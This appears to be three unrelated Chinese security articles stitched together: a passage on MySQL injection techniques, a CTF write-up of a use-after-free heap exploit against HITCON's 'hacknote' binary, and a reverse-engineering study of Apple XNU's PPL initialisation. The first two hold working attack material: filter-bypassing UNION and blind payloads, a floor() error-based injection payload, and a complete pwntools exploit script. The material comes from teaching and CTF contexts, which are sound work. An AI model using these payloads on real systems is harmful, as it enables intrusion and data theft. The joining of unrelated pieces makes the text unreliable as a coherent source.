| num | column2 | column3 | column4 | bin_column |
+------+---------+---------+---------+----------------------+
| 1 | a | s | s | aaaaaaaa |
| 2 | b | s | s | ddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | fffffff |
| 1 | 5.5.53 | 3 | 1,2,3 | 5 |
+------+---------+---------+---------+----------------------+
5 rows in set (0.03 sec)
而test_table内的数据结构是这样的：
+------------+
| test_table |
+------------+
| 1 |
| 2 |
| 3 |
+------------+
很明显与learning_test表的字段数不同，但是我们使用了 **group_concat()** 函数拼接了我们需要的内容。
**0x01 管道符的使用**
****
1、order by之后可以使用|数字使排序错乱，不清楚具体是怎么错乱的
2、where子句之后跟上|1或|0也能出数据，但要是跟上|大于一或小于零的数就出不了数据
**0x02 regexp的使用**
****
很简单，正则匹配，匹配对象必须是单行单列，或者说是字符串。基本语法：
select (select语句) regexp '正则'
意思是将括号内的查询的结果集尝试与给出的正则匹配，如果配对成功则返回1，配对失败返回0。
**0x03 group_concat()的使用**
****
将一列数据进行拼接，非常便利的函数,一般与union一起使用，就像本节的第一小节给出的最后一个例子一样。
**0x04 利用虚拟表在不知道字段名的情况下出数据**
****
先上一道ctf题的payload进行分析：
-1 UNION ALL
SELECT * FROM (
(SELECT 1)a JOIN (
SELECT F.4 from (
SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r
UNION
SELECT * FROM NEWS LIMIT 1 OFFSET 4
)F
)b
JOIN (SELECT 3)c JOIN (SELECT 4)d
)
正常版：
-1 UNION ALL SELECT * FROM ((SELECT 1)a JOIN (SELECT F.4 from (SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r UNION SELECT * FROM NEWS LIMIT 1 OFFSET 4)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d)
这本是一道ctf题，前面估计是where后面的子句。这道题过滤了三样东西：1、空格，2、逗号，3、字段名
这里不详细说绕过，方法很多，空格利用%0a绕过，union指令中的逗号利用join绕过，limit指令中的逗号利用offset绕过。
这里因为payload中不能出现字段名，因此我们创建了一个与所查表字段数相同的虚拟表并对其并将其查询结果与前面的查询union起来。具体来说是这样：
— 比如说在原查询的第二字段处出数据
... where ...
union all
select * from(
(select 1)a join(
select F.[需要查询的字段号] from(
select * from [需要查询的表有多少个字段就join多少个]
union
select * from [需要查询的表] [limit子句]
)F-- 我们创建的虚拟表没有表名，因此定义一个别名，然后直接[别名].[字段号]查询数据
)b-- 同上[还差多少字段就再join多少个，以满足字段数相同的原则]
)
正常版：
... where ... union all select * from((select 1)a join(select F.[需要查询的字段号] from(select * from [需要查询的表有多少个字段就join多少个] union select * from [需要查询的表] [limit子句])F)b[还差多少字段就再join多少个，以满足字段数相同的原则])
payload中的join换成逗号亦可。
我们平时使用union时都是将 **union select 1,2,3,4…** 写在后面以填充不存在的数据并测试字段数。在这种操作中我们把
**union select 1,2,3,4…**
写在了前面来充当虚拟表的字段名。本质上来说并不是不知道字段名，而是把不知道字段名的表的查询结果和我们创建的字段名为1,2,3,4…的虚拟表的交集作为一个结果集返回。
这里有一个点，方括号内的limit子句需要特别注意，要取下面这个子查询↓
select F.[需要查询的字段号] from(select * from [需要查询的表有多少个字段就join多少个] union select * from [需要查询的表] [limit子句]
结果集的最后一行，因为我们需要的数据被union拼到了最后一行（在我们需要的数据只有一行的情况下）。
如果我们需要的东西不止一行会怎么样呢？一段简单的测试：
mysql> select * from learning_test union all SELECT * FROM ((SELECT 1)a JOIN (SELECT F.1 from (SELECT * FROM (SELECT 1)u UNION SELECT * FROM test_table LIMIT 2 OFFSET 1)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (select 5)e);
+------+---------+---------+---------+-------------+
| num | column2 | column3 | column4 | bin_column |
+------+---------+---------+---------+-------------+
| 1 | a | s | s | aaaaaaaaa |
| 2 | b | s | s | dddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | ffffffff |
| 1 | 2 | 3 | 4 | 5 |
| 1 | 3 | 3 | 4 | 5 |
+------+---------+---------+---------+-------------+
6 rows in set (0.00 sec)
并不会报错，我们需要的查询结果就是第5，6行第2字段的2和3。
下面是对虚拟表的简单测试：
mysql> select * from ((select 1)a join (select 2)b) limit 1 offset 1;
Empty set (0.00 sec)
mysql> select * from ((select 1)a join (select 2)b);
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)
可以看到我们创建的确实是字段名为1和2的虚拟表，此表的结构为一行两列。
用虚拟表去union其他表的数据：
mysql> select * from ((select 233)a,(select 2333)b,(select 23333)c,(select 233333)d,(select 2333333)e) union select * from learning_test;
+------+------+-------+--------+-------------+
| 233 | 2333 | 23333 | 233333 | 2333333 |
+------+------+-------+--------+-------------+
| 233 | 2333 | 23333 | 233333 | 2333333 |
| 1 | a | s | s | aaaaaaaa |
| 2 | b | s | s | ddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | fffffff |
+------+------+-------+--------+-------------+
5 rows in set (0.00 sec)
表明我们之前的分析是正确的，方法可行。
**0x05 substring()和ascii()的联合使用**
****
用于猜解数据库名、表名、字段名和查询结果等
具体使用：
mysql> select ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10;
+--------------------------------------------------------------------------------------+
| ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10 |
+--------------------------------------------------------------------------------------+
| 1 |
+--------------------------------------------------------------------------------------+
1 row in set (0.02 sec)
看到返回了1，也就是说select bin_column from learning_test where
num=2这个查询语句返回的结果集的第一个字符的ascii码确实是大于10的。当然这个过程是繁琐的，可以使用脚本进行自动化猜解，或使用sqlmap中集成的类似的自动化注入功能。
**0x06 利用floor()报错注入**
****
**payload：**
...and (select count(*),concat(version(),floor(rand(0)*8))x from information_schema.tables group by x)a;
或
...and (select count(*) from (select 1 union select null union select !1)x group by concat(version(),floor(rand(0)*2))) | 社区文章 |
UAF 漏洞，英文原名use after free，该漏洞简洁的可以概括为
* 分配一块内存
* free该内存但不回收，构成悬垂指针
* 再次构造分配同样大小的内存，按照malloc分配原则将会是将第一次分配的内存给这块新的
* 对新的内存进行use
* * *
**一 前言**
首先我们以一道题来介绍一下UAF，这里选用hitcon training lab10 作为例子，源码太多，占篇幅，试题、源码详情请见
<https://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab10> 中的c语言文件。
这里先直接附上exp，网上大部分exp都差不多，但是有两个疑点我得提一下：
1. magic函数地址咋来的
2. 非预期解：创建1个note也能getshell
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()
**对于疑点1**
我看了大部分博客，都没有给出magic地址从哪来，这里有个法子弄到这个地址：
看到pdisas这个神奇的反汇编指令了咩，第一行地址就是magic的开始地址，这里我也尝试了一下下断点到magic函数，即b
magic，然后你看到，这个断点是在上面汇编显示的地址的第四行，我们来看看其他的函数：add_note
所以你可以看到，gdb中的下断点一般是下在开栈的地址。
**对于疑点2**
下面我会细细讨论
**二 分析**
下面我们再来一步步分析程序：
按这篇文章开头的几个步骤来寻找
**0x00 结构体定义如下**
struct note {
void (*printnote)();
char *content ;
};
note在不写入content的情况下是16字节，void占4字节，char因字节对齐占4字节，加上一个8字节头部
**0x01 首先是分配内存，整个程序具备这个功能的就是add_note**
void add_note(){
int i ;
char buf[8];
int size ;
if(count > 5){
puts("Full");
return ;
}
for(i = 0 ; i < 5 ; i ++){
if(!notelist[i]){
notelist[i] = (struct note*)malloc(sizeof(struct note));
if(!notelist[i]){
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0,buf,8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if(!notelist[i]->content){
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0,notelist[i]->content,size);
puts("Success !");
count++;
break;
}
}
}
1、从第9行可以得知只能创建5个note
2、之后按照notelist的结构体大小创建note，再按照输入的大小为content申请内存，总体结构正如ctf wiki上的结构图
**0x02 释放内存，整个代码中del_note具备释放内存功能**
void del_note(){
char buf[4];
int idx ;
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= count){
puts("Out of bound!");
_exit(0);
}
if(notelist[idx]){
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
也就是第12、13行，先free content，再free notelist的头。
**0x03 可利用执行函数magic**
void magic(){
system("cat /home/hacknote/flag");
}
**0x04 利用**
因为我们要把第一次分配的内存释放然后第二次分配同样大小的内存进行复用，那么可以构造利用链：
add_note（）-> add_note（）-> delete_note（）-> delete_note（）-> add_note（）
换句话说，分配和释放将按照此结构进行
malloc（0x20）-> malloc（0x20）-> free（0x8）-> free（0x20）-> free（0x8）->
free（0x20）-> malloc（0x8）-> malloc（0x8）
那么我们来介绍一下这个到底是做撒子
我们利用的是fastbin回收的不合并性，我要将put函数指针指向magic函数的地址。
fastbin如上图，0x10表示16字节，0x18表示24字节，0x20表示32字节，以此类推。每次分配完释放回收后将会放在对应的大小行上。
现在我知道的有：
1、notelist 的每个初始大小为16字节，对应fastbin的第一行，即0x10
2、那么如果我们要劫持put函数执行流，那么我们就需要构造一个8字节的content，这样加上头才能变成16字节，才有可能分配到put
3、我们可控的地方只有content部分，可以控制content部分的大小和值，因此我们只能在content中输入magic函数地址的值
因此我们设想：
(1)如果我们构造一个note0，content大小为32，然后，free，再者继续创建一个note1，content大小为8（为了劫持put，须与出是头部分配内存相同），但是note1的头大小也是8，那么回收note0后fastbin结构就变成
0x10: note0_head
0x18: 0x0
0x20: note0_content
。。。。。。
然后note1_head就直接分配到了note0_head
，我寻思着note1_head也有put，那么直接用就好了噻，于是我就把note1_content改为magic函数地址，然后print_note（1），也能成功。
注意：然而，使用note1的put仅仅只是将指针指向magic函数，note1_head分配到了释放的内存，但是note1_content没有分配到释放的内存，因此其未对释放后再分配的内存进行修改，是直接利用，而不是释放再利用（UAF）
(2)那么创建1个虽然行，但是不能算是UAF，那就用两个。因为fastbin是FILO，先进后出嘛，形象一点，看下图，头是note0_head，后面接上note1_head，然后取出来的时候从尾巴开始取，就是先取note1_head
0x10: note1_head -> note0_head
0x18: 0x0
0x20: 0x0
............
我们构造两个note再释放后，fastbin如下（content的大小我设为24）：
0x10: note1_head -> note0_head
0x18: note1_content -> note0_head
0x20: 0x0
...........
紧接着我们创建note2，因为note2_head也要分配0x10行的内存块嘛，所以，在note2_head分配完（取出）note1_head后，还剩下note0_head,
那么note2_content大小设置为8，就可以分配到note0_head啦
**三 总结**
正确的此题做题流程为：静态审计源码，构造思路，动态调试找地址，编写exp
UAF漏洞：利用内存分配的特性操作分配的已释放使用过的内存块 | 社区文章 |
**作者： wzt
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## Ppl代码初始化
### ppl物理内存初始化
内核在启动阶段调用pmap_bootstrap函数初始化物理内存布局。
pmap_bootstrap：
LDR X20, [X27,#_avail_start@PAGEOFF]
MOV X0, X20
BL _phystokv
MOV X21, X0
ADRP X8, #_pmap_array_begin@PAGE
STR X0, [X8,#_pmap_array_begin@PAGEOFF]
ADRP X19, #_pmap_array@PAGE
STR X0, [X19,#_pmap_array@PAGEOFF]
ADRP X24, #_pmap_max_asids@PAGE
LDR W8, [X24,#_pmap_max_asids@PAGEOFF]
MOV W9, #0x108
MOV W10, #0x3FFF
MADD X8, X8, X9, X10
AND X8, X8, #0x3FFFFFFC000
ADD X0, X8, X20
STR X0, [X27,#_avail_start@PAGEOFF]
BL _phystokv
ADRP X8, #_pmap_array_end@PAGE
STR X0, [X8,#_pmap_array_end@PAGEOFF]
`_avail_start`保存的是当前空闲物理内存的物理地址，转换成虚拟地址后，保存在`_pmap_array_begin`和`_pmap_array`变量中，然后从此物理地址划出`_pmap_max_asids`字节大小的区域给`_pmap_array`，它是一个struct
pmap数组，在ppl的实现中，内核以及每个进程都有单独的一个struct pmap结构。在非ppl的版本中，只有内核使用struct map。
ADRP X8, #_pmap_array_count@PAGE
ADRL X10, _pmap_free_list_lock
STR X9, [X8,#_pmap_array_count@PAGEOFF]
STR X23, [X10,#(qword_FFFFFFF00981CA88 - 0xFFFFFFF00981CA80)]
STR XZR, [X10]
LDR X9, [X8,#_pmap_array_count@PAGEOFF]
计算`_pmap_array_count`大小。
MOV X9, #0
MOV X10, #0
MOV X12, #0
LDR X11, [X19,#_pmap_array@PAGEOFF]
STR X12, [X11,X9]
LDR X11, [X19,#_pmap_array@PAGEOFF]
ADD X12, X11, X9
ADD X10, X10, #1
LDR X13, [X8,#_pmap_array_count@PAGEOFF]
ADD X9, X9, #0x108
CMP X10, X13
B.CC loc_FFFFFFF007B5E820
ADD X8, X11, X9
SUB X8, X8, #0x108
B loc_FFFFFFF007B5E850
MOV X8, #0
ADRP X9, #_pmap_free_list@PAGE
STR X8, [X9,#_pmap_free_list@PAGEOFF]
初始化`_pmap_free_list`链表，循环让`_pmap_array`数组中的每个元素依次指向前一个节点，以后ppl为每个进程分配struct
pmap结构体时就从这个链表分配。
下面用类似的算法初始化`_pmap_ledger_ptr_array`数组，这里不在赘述。
然后开始初始化ppl使用的stack信息：
ADRP X8, #_pmap_stacks_start@PAGE
LDR X8, [X8,#_pmap_stacks_start@PAGEOFF]
ADD X26, X8, #4,LSL#12
ADRP X8, #_pmap_stacks_start_pa@PAGE
STR X20, [X8,#_pmap_stacks_start_pa@PAGEOFF]
`_pmap_stacks_startv`保存的是stack的虚拟地址，`_pmap_stacks_start_pa`保存的是stack的物理地址，后面修改`kernel_map->tte`的l3页表，进行虚拟地址到物理地址的映射。
MOV X28, #0x20000000000603
ADRL X21, _pmap_cpu_data_array
MOV W25, #0xFFFFFFFF
B loc_FFFFFFF007B5E92C
MOV W8, #0x180
MADD X8, X19, X8, X21
STR W25, [X8,#0x40]
STR WZR, [X8,#0x18]
STR X24, [X8,#8]
ADD X26, X26, #8,LSL#12
ADD X19, X19, #1
CMP X19, #6
B.EQ loc_FFFFFFF007B5E9B8
ADD X24, X26, #4,LSL#12
MOV X23, X26
MOV X8, #0xFFFFFFFFFFFFBFFF
CMP X26, X8
B. HI loc_FFFFFFF007B5E908
依次设置每个cpu的`_pmap_cpu_data`结构体，STR X24, [X8,#8]，将栈地址保存在0x8偏移处。每个cpu的ppl
stack都是4k，之间在隔离着一个4k的guard page。
后面的代码继续初始化`_ppl_cpu_save_area`，它保存的是ppl进入`EL1_Guard level`异常处理时保存的全部寄存器区域。
下面给出xnu物理内存布局图，请原谅我的懒惰，不想画漂亮的图形。
### pp_attr_table与pv_head_table
XNU的物理内存管理模型，增加了两个结构体用于辅助物理页的管理。
`pp_attr_t`代表的是一个物理页的属性，在XNU的source code里可以看到其定义：
osfmk/arm/pmap.c
typedef u_int16_t pp_attr_t;
\#define PP_ATTR_WIMG_MASK 0x003F
\#define PP_ATTR_WIMG(x) ((x) & PP_ATTR_WIMG_MASK)
\#define PP_ATTR_REFERENCED 0x0040
\#define PP_ATTR_MODIFIED 0x0080
\#define PP_ATTR_INTERNAL 0x0100
\#define PP_ATTR_REUSABLE 0x0200
\#define PP_ATTR_ALTACCT 0x0400
\#define PP_ATTR_NOENCRYPT 0x0800
\#define PP_ATTR_REFFAULT 0x1000
\#define PP_ATTR_MODFAULT 0x2000
\#if XNU_MONITOR
/*
\* Denotes that a page is owned by the PPL. This is modified/checked with the
\* PVH lock held, to avoid ownership related races. This does not need to be a
\* PP_ATTR bit (as we have the lock), but for now this is a convenient place to
\* put the bit.
*/
\#define PP_ATTR_MONITOR 0x4000
/*
\* Denotes that a page *cannot* be owned by the PPL. This is required in order
\* to temporarily 'pin' kernel pages that are used to store PPL output parameters.
\* Otherwise a malicious or buggy caller could pass PPL-owned memory for these
\* parameters and in so doing stage a write gadget against the PPL.
*/
\#define PP_ATTR_NO_MONITOR 0x8000
对于ppl来讲，增加了两个属性`PP_ATTR_MONITOR`和`PP_ATTR_NO_MONITOR`，ios使用相同的值，后面会看到。
每个物理页在内核中有两种用处，第一个物理页保存的是页表内容，第二个就是保存内核用到的其他数据结构，在XNU的物理内存管理模型中，使用`struct
pv_entry`结构体保存l3页表项的地址，可以提高物理内存与虚拟内存相互转化的效率。使用`struct
pt_desc`结构体描述一个页表属性，比如l1、l2、l3table的属性。对于ppl，会用到`pv_head_table`对给定的一个物理页上锁。
`Pv_head_table`的内存布局如下，请再次原谅我的懒惰。
### EL1_Guard level初始化
在初始化完ppl的物理内存布局后，内核在启动的下一阶段会调用`_bootstrap_instructions`继续执行`EL1_Guard
level`的初始化。
__start->_start_first_cpu->_arm_init->_arm_vm_init->_bootstrap_instructions
_bootstrap_instructions:
关闭mmu
S3_6_C15_C1_00x1
S3_6_C15_C1_10x1
S3_6_C15_C1_50x2010000030100000
S3_6_C15_C1_60x2020000030200000
S3_6_C15_C1_70x2020a500f020f000
S3_6_C15_C3_00x2020a505f020f0f0
S3_6_C15_C1_20x1
S3_6_C15_C8_1_gxf_bootstrap_handler(虚拟地址)
S3_6_C15_C8_2_gtr_deadloop(虚拟地址)
S3_6_C15_C1_20x0
开启mmu
在这个函数里，可以看到苹果cpu加入了几个新的系统寄存器，
通过分析代码逻辑可以推测出`S3_6_C15_C1_2`寄存器应该是个执行上锁和解锁的功能。`gxf_bootstrap_handler`函数地址存入了`S3_6_C15_C8_1`寄存器，`_gtr_deadloop`函数存入了`S3_6_C15_C8_2`寄存器。在整个kernelcache代码段里都没有搜索到对`_gxf_bootstrap_handler`函数的直接引用，因此可以推断出`S3_6_C15_C8_1`寄存器保存的地址应该是cpu进入`EL1_Guard
level`时首先要执行的函数。在另外一个初始化路径中也可以看到相同的ppl初始化代码。
__start->_start_first_cpu->_arm_init->_cpu_machine_idle_init->_start_cpu->start_cpu
start_cpu:
S3_6_C15_C1_00x1
S3_6_C15_C1_10x1
S3_6_C15_C3_00x2020a506f020f0e0
S3_6_C15_C1_50x2010000030100000
S3_6_C15_C1_60x2020000030200000
S3_6_C15_C1_70x2020a500f020f000
S3_6_C15_C1_20x1
S3_6_C15_C8_1_gxf_bootstrap_handler(虚拟地址)
S3_6_C15_C8_2_gtr_deadloop(虚拟地址)
S3_6_C15_C1_20x0
注意这两个初始化函数只是对`S3_6_C15_C8_1`寄存器进行了设置，并没有调用它。在内核启动的最后阶段有如下调用代码：
_kernel_bootstrap_thread->machine_lockdown
ADRP X8, #_pmap_ppl_locked_down@PAGE
MOV W19, #1
STR W19, [X8,#_pmap_ppl_locked_down@PAGEOFF]
BL _gxf_enable
首先对`_pmap_ppl_locked_down`变量设置为1，这个状态表示ppl已经初始化完毕，el1代码可以向`EL1_Guard
level`请求服务了。然后调用`_gxf_enable`：
_gxf_enable:
fffffff008131e90 mov x0, #0x1
fffffff008131e94 msr S3_6_C15_C1_2, x0
fffffff008131e98 .long 0x00201420
在对`S3_6_C15_C1_2`寄存器赋值后，出现了0x00201420这个反汇编器无法识别的指令。那么这个有可能的两种情况，第一个假设0x00201420不是苹果cpu的新增指令，那么当cpu进行执行时，会产生exception异常，历史上，PAX团队曾经在异常处理代码里模拟了NX在32位处理器上的软件实现，但笔者翻遍了异常处理逻辑的所有代码，也没有发现对0x00201420这个数据或指令的特殊处理，因此可以断定0x00201420是苹果cpu新增的指令，在后面的reverse中，可以发现它是进入`EL1_Guard
level`的指令，0x00201400则是退出`EL1_Guard level`的指令。
在前面的分析中讲到`S3_6_C15_C8_1`寄存器保存的地址是进入`EL1_Guard
level`时首先要执行的地址，在前面的初始化时被设置为了`_gxf_bootstrap_handler`。
_gxf_bootstrap_handler ; DATA XREF: _bootstrap_instructions+9C↑o
MRS X0, #6, c15, c8, #3
TBNZ W0, #0, loc_FFFFFFF009811660
ADRL X0, _gxf_ppl_entry_handler ;
MSR #6, c15, c8, #1, X0
ADRL X0, _GuardedExceptionVectorsBase
MSR #0, c12, c0, #0, X0
首先判断`S3_6_C15_C8_3`寄存器的值是否为0，如果为0，就一直处于循环之中，可以推测出`S3_6_C15_C8_3`寄存器作用是进入`EL1_Guard
level`的锁机制。然后将`_gxf_ppl_entry_handler`函数重新存入了`S3_6_C15_C8_1`寄存器，也就是说下次进入`EL1_Guard
level`时将会执行`_gxf_ppl_entry_handler`函数。将`_GuardedExceptionVectorsBase`地址写入`VBAR_EL1`寄存器，也就是说当cpu在`EL1_Guard
level`时，`_GuardedExceptionVectorsBase`函数负责其异常处理逻辑。
MRS X1, #0, c0, c0, #5
UBFX X2, X1, #8, #8
ADRL X3, _cluster_offsets
LDR X2, [X3,X2,LSL#3]
AND X1, X1, #0xFF
ADD X1, X1, X2
ADRL X2, _pmap_cpu_data_array
CMP X1, #6
B.CS loc_FFFFFFF0098116A8
MOV X3, #0x180
MADD X1, X1, X3, X2
首先从`MPIDR_EL1`寄存器提取了cpu的cluster id和cpu
id，算出在`_pmap_cpu_data_array`数组中的索引。`_pmap_cpu_data_array`是一个`struct
pmap_cpu_data`类型的数组。在XNU的source code中有如下定义：
struct pmap_cpu_data {
\#if XNU_MONITOR
void * ppl_kern_saved_sp;
void * ppl_stack;
arm_context_t * save_area;
unsigned int ppl_state;
\#endif
}
LDR X1, [X1,#0x10]
MOV SP, X1
X1保存的是当前cpu的`struct
pmap_cpu_data`结构体指针，0x10偏移为`save_area`，它指向了`arm_context_t`类型的内存区域，将这个内存区域设置为`EL1_Guard
level`的sp地址。在从el1进入`EL1_Guard level`时，将全部的寄存器保存在这个区域。
ADRP X1, #_pmap_ppl_locked_down@PAGE
LDR X2, [X1,#_pmap_ppl_locked_down@PAGEOFF]
CBZ X2, loc_FFFFFFF0098116C0
接着判断`_pmap_ppl_locked_down`值是否为0，如果为0，则一直循环检查下去。在前面的`machine_lockdown`函数中已经将`_pmap_ppl_locked_down`设置为了1，所以会继续运行下面的代码：
MOVK X0, #0x2020,LSL#48
MOVK X0, #0xA506,LSL#32
MOVK X0, #0xF020,LSL#16
MOVK X0, #0xF0E0
MSR #6, c15, c3, #0, X0
MOVK X0, #0,LSL#48
MOVK X0, #0,LSL#32
MOVK X0, #0,LSL#16
MOVK X0, #5
MSR #6, c15, c1, #2, X0
ADRL X0, _invalid_ttep
LDR X0, [X0]
MSR #0, c2, c0, #0, X0
将0x2020a506f020f0e0赋值给了`S3_6_C15_C3_0`寄存器，将0x5赋值给了`S3_6_C15_C1_2`寄存器，将`_invalid_ttep`页表地址赋值给了`TTBR0_EL1`。
SYS #0, c8, c3, #0
DSB ISH
ISB
DCD 0x201400
执行0x201400指令，退出`EL1_Guard level`。
至此ppl全部初始化已经完成， el1代码可以请求`EL1_Guard level`的服务了。
## Ppl进入与退出
Ppl给el1代码提供了`_gxf_ppl_enter`接口用于请求其服务。
_arm_fast_fault_ppl:
mov x15, #0x0
b _gxf_ppl_enter
_arm_force_fast_fault_ppl:
mov x15, #0x1
b _gxf_ppl_enter
_mapping_free_prime_ppl:
mov x15, #0x2
b _gxf_ppl_enter
这里只罗列部分函数，x15保存的是ppl服务表的索引。
_gxf_ppl_enter:
fffffff008131c3c pacibsp
fffffff008131c40 stp x20, x21, [sp, #-0x20]! ; Latency: 6
fffffff008131c44 stp x29, x30, [sp, #0x10] ; Latency: 6
fffffff008131c48 add x29, sp, #0x10
fffffff008131c4c mrs x9, TPIDR_EL1
fffffff008131c50 ldr w10, [x9, #0x500] ; Latency: 4
fffffff008131c54 add w10, w10, #0x1
fffffff008131c58 str w10, [x9, #0x500] ; Latency: 4
fffffff008131c5c adrp x14, 5867 ; _pmap_ppl_locked_down
fffffff008131c60 add x14, x14, #0x130
fffffff008131c64 ldr x14, [x14] ; Latency: 4
fffffff008131c68 cbz x14, _ppl_bootstrap_dispatch
fffffff008131c6c mrs x14, S3_6_C15_C8_0
fffffff008131c70 cmp x14, #0x0
fffffff008131c74 b.ne 0xfffffff008131c74
fffffff008131c78 mov w10, #0x0
fffffff008131c7c .long 0x00201420
首先检查`_pmap_ppl_locked_down`是否为0，如果为0，说明ppl并没有初始化完成，直接跳转到`_ppl_bootstrap_dispatch`函数：
CMP X15, #0x47 ; 'G'
B.CS loc_FFFFFFF008131DD4
ADRL X9, _ppl_handler_table
ADD X9, X9, X15,LSL#3
X15保存的是`_ppl_handler_table`的索引，如果大于0x47,会触发panic。
LDR X10, [X9]
BLRAA X10, X9
跳转到`_ppl_handler_table[x15<<3]`去执行具体的服务函数。
MOV X20, X0
BL __enable_preemption
MOV X0, X20
LDP X29, X30, [SP,#arg_10]
LDP X20, X21, [SP+arg_0],#0x20
RETAB
在没有进入`EL1_Guard level`情况下，直接通过ret返回。
如果`_pmap_ppl_locked_down`为1，则继续如下代码：
fffffff008131c78 mov w10, #0x0
fffffff008131c7c .long 0x00201420
将w10设置为0， 这个很重要，后面会讲到。
执行0x00201420进入`EL1_Guard level`, 前面在初始化时讲到cpu进入`EL1_Guard
level`时，会执行`S3_6_C15_C8_1`寄存器指定的地址，也就是`_gxf_ppl_entry_handler`。
MSR #5, #0
MRS X9, #6, c15, c8, #3 ; S3_6_C15_C8_3
TBNZ W9, #0, loc_FFFFFFF008131C88
MRS X12, #6, c15, c9, #1 ; S3_6_C15_C9_1
MSR #0, c13, c0, #4, X12 ; TPIDR_EL1
MRS X20, #0, c4, c0, #0 ; SPSR_EL1
AND X20, X20, #0x3C0 ; mask FIQ; SET EL3t
B _ppl_trampoline_start
首先将SPSel设置为0，然后判断`S3_6_C15_C8_3`是否为1，否则一直循环等待，这再次证明`S3_6_C15_C8_3`寄存器为进入`EL1_Guard
level`的锁机制。然后将`S3_6_C15_C9_1`寄存器的值写入`TPIDR_EL1`，说明它保存的是请求服务时的线程信息。将`SPSR_EL1`设置为`mask
FIQ; SET EL3t`，为何是EL3t？ 接着跳入`_ppl_trampoline_start`：
MOVK X14, #0x2020,LSL#48
MOVK X14, #0xA506,LSL#32
MOVK X14, #0xF020,LSL#16
MOVK X14, #0xF0E0 ; 0x2020a506f020f0e0
MRS X21, #6, c15, c3, #0
CMP X14, X21
B. NE loc_FFFFFFF00980D9AC
首先判断`S3_6_C15_C3_0`寄存器的值是否为0x2020a506f020f0e0，这个寄存器的作用笔者尚未搞清楚。
CMP X15, #0x47 ; 'G'
B.CS loc_FFFFFFF00980D9AC
再次判断x15合法范围。
MRS X12, #0, c0, c0, #5 ; MPIDR_EL1
UBFX X13, X12, #8, #8 ; get cluster id
ADRL X14, _cluster_offsets
LDR X13, [X14,X13,LSL#3] ; _cluster_offsets[index<<3]
AND X12, X12, #0xFF
ADD X12, X12, X13
ADRL X13, _pmap_cpu_data_array
CMP X12, #6
C. CS loc_FFFFFFF00980D92C
MOV X14, #0x180
MADD X12, X12, X14, X13
得到当前cpu的`struct pmap_cpu_data`结构体指针。
LDR W9, [X12,#0x18] ; _pmap_cpu_data->ppl_state
W9保存的是ppl的当前状态`ppl_state`，ppl的状态有3个定义：
PPL_STATE_KERNEL
PPL_STATE_DISPATCH
PPL_STATE_EXCEPTION
`_ppl_trampoline_start`这个函数可以由`ppl_enter`由el1代码主动调用，也可以由`EL1_Guard
level`的异常处理调用，在后面会分析到。
CMP W9, #0 ; PPL_STATE_KERNEL
B. EQ loc_FFFFFFF00980D970
W9为0，即`PPL_STATE_KERNEL`，表示可以请求ppl服务。
loc_FFFFFFF00980D970 ; CODE XREF: _ppl_trampoline_start+60↑j
CMP W10, #0
判断w10是否为0，注意在前面的`ppl_enter`路径中，已经将w10设置为了0，所以代码可以进行前进。
B.NE loc_FFFFFFF00980D9AC
MOV W13, #1
STR W13, [X12,#0x18] ; enter PPL_STATE_DISPATCH mode
更改`ppl_state`状态为1，即 `PPL_STATE_DISPATCH`，表示ppl正处在服务派发状态中。
LDR X9, [X12,#8] ; _pmap_cpu_data->ppl_stack
MOV X21, SP
MOV SP, X9
`_pmap_cpu_data->ppl_stack`保存的是ppl服务要使用的stack区域。注意`_pmap_cpu_data->save_area`保存的是进入`EL1_Guard
level`异常处理时保存全部寄存器用的栈区域。
STR X21, [X12] ; save old el1 sp
保存el1原来的sp到`_pmap_cpu_data->ppl_kern_saved_sp`，以后退出ppl服务时还要恢复原来的stack指针。
ADRL X9, _ppl_handler_table
ADD X9, X9, X15,LSL#3 ; _ppl_handler_table[index<<3]
LDR X10, [X9]
B _ppl_dispatch
X10保存了具体的服务函数地址`_ppl_handler_table[x15<<3]``，然后跳转到_ppl_dispatch`执行，在屏蔽了一些列中断后，进行执行：
BLRAA X10, X9
调用具体的ppl服务函数。
__PPLTEXT:__text:FFFFFFF00980D9B8
MOV X15, #0
MOV SP, X21
MOV X10, X20
STR XZR, [X12]
LDR W9, [X12,#0x18] ; _pmap_cpu_data->ppl_state
CMP W9, #1 ; PPL_STATE_DISPATCH
B.NE loc_FFFFFFF00980D9D0
MOV W9, #0
STR W9, [X12,#0x18] ; PPL_STATE_KERNEL
服务执行完之后，要把`ppl_state`再次设置 `PPL_STATE_KERNEL`。
B ppl_return_to_kernel_mode
最后调用`ppl_return_to_kernel_mode`退出`EL1_Guard level`，返回el1代码。
ADRL X14, ppl_exit
MSR #0, c4, c0, #1, X14 ; ELR_EL1
MRS X14, #6, c15, c8, #3
AND X14, X14, #0xFFFFFFFFFFFFFFFE
